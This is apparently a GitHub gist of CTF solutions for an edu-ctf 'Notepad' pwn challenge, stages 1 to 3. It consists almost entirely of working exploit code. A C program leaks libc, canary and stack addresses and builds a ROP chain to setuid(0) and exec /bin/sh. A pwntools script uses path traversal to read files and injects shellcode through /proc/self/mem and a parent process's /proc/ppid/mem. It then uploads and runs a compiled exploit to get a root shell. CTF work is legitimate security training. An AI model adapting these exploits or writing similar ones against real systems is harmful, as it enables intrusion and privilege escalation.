Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Last active July 17, 2024 02:19
Show Gist options
  • Save lebr0nli/50392dc3304593a2ba5313f34273a715 to your computer and use it in GitHub Desktop.
Save lebr0nli/50392dc3304593a2ba5313f34273a715 to your computer and use it in GitHub Desktop.
2023 edu-ctf - [HW3] Notepad Stage1 ~ Stage3 (pwn)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <time.h>
#include <arpa/inet.h>
#include <limits.h>
#define USERNAME_LEN 0x10
#define PASSWORD_LEN 0x10
#define CMD_Register 0x1
#define CMD_Login 0x2
#define CMD_GetFolder 0x11
#define CMD_NewNote 0x12
#define CMD_Flag 0x8787
#define RES_Success 0x0
#define RES_Failed 0x1
#define RES_NotFound 0x2
#define BACKEND_UP_CMD "/home/notepad/backend_4050c20b6ca4118b63acd960cd1b9cd8;echo done;"
struct Command
{
__uint32_t cmd;
u_char token[32];
u_char args[128];
};
struct Response
{
__uint32_t code;
u_char res[256];
};
struct Session
{
struct User *username;
size_t timestamp;
char token[0x20];
struct session *next;
};
struct User
{
char username[0x10];
char password[0x10];
char folder[0x88];
struct User *next;
};
char *Token;
void errorexit(char *msg)
{
puts(msg);
exit(-1);
}
int connect_backend()
{
int fd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in info;
bzero(&info, sizeof(info));
info.sin_family = PF_INET;
info.sin_addr.s_addr = inet_addr("127.0.0.1");
info.sin_port = htons(8765);
if (connect(fd, (struct sockaddr *)&info, sizeof(info)) == -1)
{
return -1;
}
return fd;
}
void randstr(char *buffer, size_t size)
{
for (int i = 0; i < size; i++)
{
buffer[i] = rand() % 26 + 'a';
}
}
void crash_backend()
{
struct Command cmd;
struct Response res;
char token[32];
// create user
int backendfd = connect_backend();
memset(&cmd, 0, sizeof(cmd));
cmd.cmd = CMD_Register;
strcpy(cmd.args, "crash");
strcpy(&cmd.args[strlen(cmd.args) + 1], "crash");
write(backendfd, &cmd, sizeof(cmd));
close(backendfd);
// login
backendfd = connect_backend();
cmd.cmd = CMD_Login;
write(backendfd, &cmd, sizeof(cmd));
read(backendfd, &res, sizeof(res));
strncpy(token, res.res, 32);
close(backendfd);
// overflow
backendfd = connect_backend();
memset(&cmd, 0, sizeof(cmd));
cmd.cmd = CMD_GetFolder;
strcpy(cmd.token, token);
for (int i = 0; i < sizeof(cmd.args); ++i)
cmd.args[i] = 'X';
write(backendfd, &cmd, sizeof(cmd));
close(backendfd);
// segfault
backendfd = connect_backend();
memset(&cmd, 0, sizeof(cmd));
cmd.cmd = CMD_GetFolder;
strcpy(cmd.token, "bye");
write(backendfd, &cmd, sizeof(cmd));
close(backendfd);
}
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[*] crash the backend...");
crash_backend();
sleep(5);
puts("[*] start backend...");
pid_t pid;
if (fork() == 0)
{
system(BACKEND_UP_CMD);
return 0;
}
else
{
puts("[*] wait backend start...");
sleep(5);
puts("[*] start exploit...");
srand(time(0));
struct Command cmd;
struct Response res;
char token[32] = {};
memset(&cmd, 0, sizeof(cmd));
// create user
int backendfd = connect_backend();
memset(&cmd, 0, sizeof(cmd));
cmd.cmd = CMD_Register;
strcpy(cmd.args, "leak");
strcpy(&cmd.args[strlen(cmd.args) + 1], "leak");
write(backendfd, &cmd, sizeof(cmd));
close(backendfd);
// leak data
backendfd = connect_backend();
cmd.cmd = CMD_Login;
strcpy(cmd.args, "leak");
strcpy(&cmd.args[strlen(cmd.args) + 1], "leak");
write(backendfd, &cmd, sizeof(cmd));
memset(&res, 0, sizeof(res));
read(backendfd, &res, sizeof(res));
// write(1, &res, sizeof(res));
close(backendfd);
__uint64_t libc_base = *(__uint64_t *)((char *)&res + 0x28) - 0x1bf7a;
printf("[*] libc_base: %#lx\n", libc_base);
// setup stack
backendfd = connect_backend();
memset(&cmd, 0, sizeof(cmd));
cmd.cmd = CMD_Flag;
write(backendfd, &cmd, sizeof(cmd));
close(backendfd);
// leak data
backendfd = connect_backend();
cmd.cmd = CMD_Login;
strcpy(cmd.args, "leak");
strcpy(&cmd.args[strlen(cmd.args) + 1], "leak");
write(backendfd, &cmd, sizeof(cmd));
memset(&res, 0, sizeof(res));
read(backendfd, &res, sizeof(res));
// write(1, &res, sizeof(res));
close(backendfd);
__uint64_t canary = *(__uint64_t *)((char *)&res + 0x98);
__uint64_t stack_addr = *(__uint64_t *)((char *)&res + 0xf8);
__uint64_t binary_base = *(__uint64_t *)((char *)&res + 0xe8) - 0x1e13;
printf("[*] canary: %#lx\n", canary);
printf("[*] stack_addr: %#lx\n", stack_addr);
printf("[*] binary_base: %#lx\n", binary_base);
if (canary == 0 || canary & 0xff)
{
puts("[-] canary leak failed.");
return -1;
}
if (stack_addr == 0)
{
puts("[-] stack_addr leak failed.");
return -1;
}
if (binary_base == 0 || binary_base & 0xfff)
{
puts("[-] binary_base leak failed.");
return -1;
}
// login again
backendfd = connect_backend();
cmd.cmd = CMD_Login;
strcpy(cmd.args, "leak");
strcpy(&cmd.args[strlen(cmd.args) + 1], "leak");
write(backendfd, &cmd, sizeof(cmd));
memset(&res, 0, sizeof(res));
read(backendfd, &res, sizeof(res));
// write(1, &res, sizeof(res));
strncpy(token, res.res, 32);
close(backendfd);
// overwrite next pointer of session to return address of check_token
backendfd = connect_backend();
memset(&cmd, 0, sizeof(cmd));
cmd.cmd = CMD_GetFolder;
strcpy(cmd.token, token);
for (int i = 0; i < 0x21; ++i)
cmd.args[i] = 'X';
__uint64_t *p = (__uint64_t *)&cmd.args[0x21];
*p = stack_addr - 0x234;
write(backendfd, &cmd, sizeof(cmd));
close(backendfd);
// getchar();
// overwrite saved rbp of check_token
backendfd = connect_backend();
memset(&cmd, 0, sizeof(cmd));
cmd.cmd = CMD_GetFolder;
p = (__uint64_t *)&cmd.token;
*p = stack_addr - 0x234 + 0x150; // just for passing check_token
p = (__uint64_t *)&cmd.args[1];
*p = stack_addr - 0x234 + 0x1c0;
p = (__uint64_t *)&cmd.args[0x14];
*p++ = canary;
*p++ = binary_base + 0x5250; // bss
*p++ = libc_base + 0x001bc0a1; // pop rdi; ret
*p++ = 0;
*p++ = libc_base + 0xec0d0; // setuid
*p++ = libc_base + 0x001bc0a1; // pop rdi; ret
*p++ = libc_base + 0x1d8698; // /bin/sh
*p++ = libc_base + 0x001bb397; // pop rsi; ret
*p++ = 0;
*p++ = libc_base + 0x000796a2; // pop rdx; ret
*p++ = 0;
*p++ = libc_base + 0xeb080; // execve
write(backendfd, &cmd, sizeof(cmd));
close(backendfd);
wait(NULL);
puts("[*] Done");
return 0;
}
}
#!/usr/bin/env python3
import subprocess
import base64
from pwn import *
binary = ELF("./share/notepad_patched")
libc = ELF("./share/libc.so.6")
context.binary = binary
if args.ITERM:
context.terminal = ["iterm2-terminal", "--option", "0"]
else:
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = context.binary.arch
_, HOST, PORT = "nc 10.113.184.121 21566".split()
HOST, PORT = args.HOST or HOST, int(args.PORT or PORT)
GDB_SCRIPT = """
# tbreak main
continue
""".strip()
GDB_SCRIPT = "\n".join(line for line in GDB_SCRIPT.splitlines() if not line.startswith("#"))
def one_gadget(filename: str, offset: int = 0, level: int = 0) -> list:
return [
int(i) + offset
for i in subprocess.check_output(["one_gadget", "--raw", f"-l{level}", filename])
.decode()
.split(" ")
]
def conn() -> tube:
if args.LOCAL:
# ./solve LOCAL
# return process([binary.path])
return process(["timeout", "60", binary.path])
elif args.GDB:
# ./solve GDB
return gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# ./solve
return remote(HOST, PORT)
def exploit() -> bool:
def read_file(filename: str, offset: int = 0) -> bytes:
payload = b"../../../" + filename.rjust(98, b"/")
# info(f"payload: {payload}")
io.sendlineafter(b"> ", b"5")
io.sendlineafter(b"Note Name: ", payload)
io.sendlineafter(b"Offset: ", str(offset).encode())
data = io.recvuntil(b"+========== Notepad ==========+\n", drop=True)
if data.startswith(b"Could") or data.startswith(b"Read "):
return b""
return data
def edit_file(filename: str, data: bytes, offset: int = 0) -> bytes:
payload = b"../../../" + filename.rjust(98, b"/")
# info(f"payload: {payload}")
io.sendlineafter(b"> ", b"4")
io.sendlineafter(b"Note Name: ", payload)
io.sendlineafter(b"Offset: ", str(offset).encode())
io.sendlineafter(b"Content Length: ", str(len(data)).encode())
io.sendafter(b"Content: ", data)
def dump_backend() -> None:
backend_filename = read_file(b"/proc/1/cmdline").split()[2]
info(backend_filename.decode())
with open("./backend", "wb") as f:
offset = 0
while True:
data = read_file(backend_filename, offset)
f.write(data)
if len(data) == 0:
break
offset += len(data)
def get_flag1() -> None:
success(read_file(b"/flag_user").decode()) # flag{Sh3l1cod3_but_y0u_c@nnot_get_she!!}
def get_flag2() -> None:
line = read_file(b"/proc/self/maps")
binary.address = int(line.split(b"-")[0], 16)
info(f"binary.address: {hex(binary.address)}")
sc = """
mov WORD PTR [rsi], 34695
xor rax, rax
inc rax
syscall
xor rax, rax
syscall
add sil, 4
xor rdi, rdi
inc rdi
xor rax, rax
inc rax
syscall
"""
sc = asm(sc)
edit_file(b"/proc/self/mem", sc, binary.address + 0x167F)
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Username: ", b"a")
io.sendlineafter(b"Password: ", b"b")
success(io.recvuntil(b"}").decode()) # flag{why_d0_y0u_KnoM_tH1s_c0WW@nd!?}
def get_flag3() -> None:
proc_status = read_file(b"/proc/self/status").splitlines()
pid = int(proc_status[5].split()[1])
ppid = int(proc_status[6].split()[1])
info(f"pid: {pid}")
info(f"ppid: {ppid}")
line = read_file(b"/proc/self/maps")
binary.address = int(line.split(b"-")[0], 16)
info(f"binary.address: {hex(binary.address)}")
parent_rip = int(read_file(f"/proc/{ppid}/syscall".encode()).split()[-1], 16)
info(f"parent_rip: {parent_rip:#x}")
sc = shellcraft.setuid(0)
sc += shellcraft.sh()
sc = asm(sc)
edit_file(f"/proc/{ppid}/mem".encode(), sc, parent_rip)
io.sendlineafter(b"> ", b"1")
io.sendafter(b"Username: ", b"A" * 0x10)
io.sendafter(b"Password: ", b"B" * 0x10)
io.clean()
# io.sendline(b"cat /lib/x86_64-linux-gnu/libc.so.6;echo DUMP_END")
# with open("./libc.so.6", "wb") as f:
# f.write(io.recvuntil(b"DUMP_END", drop=True))
# return
os.system(b"gcc -ggdb -o pwn pwn.c")
with open("./pwn", "rb") as f:
payload = base64.b64encode(f.read())
io.sendline(b"echo " + payload + b" | base64 -d > /tmp/pwn")
io.sendline(b"chmod +x /tmp/pwn")
io.sendline(b"/tmp/pwn")
# $ whoami
# root
# $ cat /flag_root
# flag{Oh!!Y00000u_pwn_the_b@ck3nd_and_g0t_root!!}
io.interactive()
with conn() as io:
io.sendlineafter(b"> ", b"2")
io.sendafter(b"Username: ", b"AAAAAAAA")
io.sendafter(b"Password: ", b"AAAAAAAA")
io.sendlineafter(b"> ", b"1")
io.sendafter(b"Username: ", b"AAAAAAAA")
io.sendafter(b"Password: ", b"AAAAAAAA")
if args.STAGE1:
get_flag1()
elif args.STAGE2:
get_flag2()
elif args.STAGE3:
get_flag3()
return True
def main() -> None:
if not args.LOOP:
exploit()
return
cnt = 0
saved_addresses = {}
for b in filter(None, map(globals().get, ("binary", "libc", "ld"))):
saved_addresses[b] = b.address
# ./solve LOOP
while cnt := cnt + 1:
info(f"Attempted {cnt}")
try:
if exploit():
return
except Exception as e:
debug(str(e))
# clean up the addresses we set during exploit
for b, addr in saved_addresses.items():
b.address = addr
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment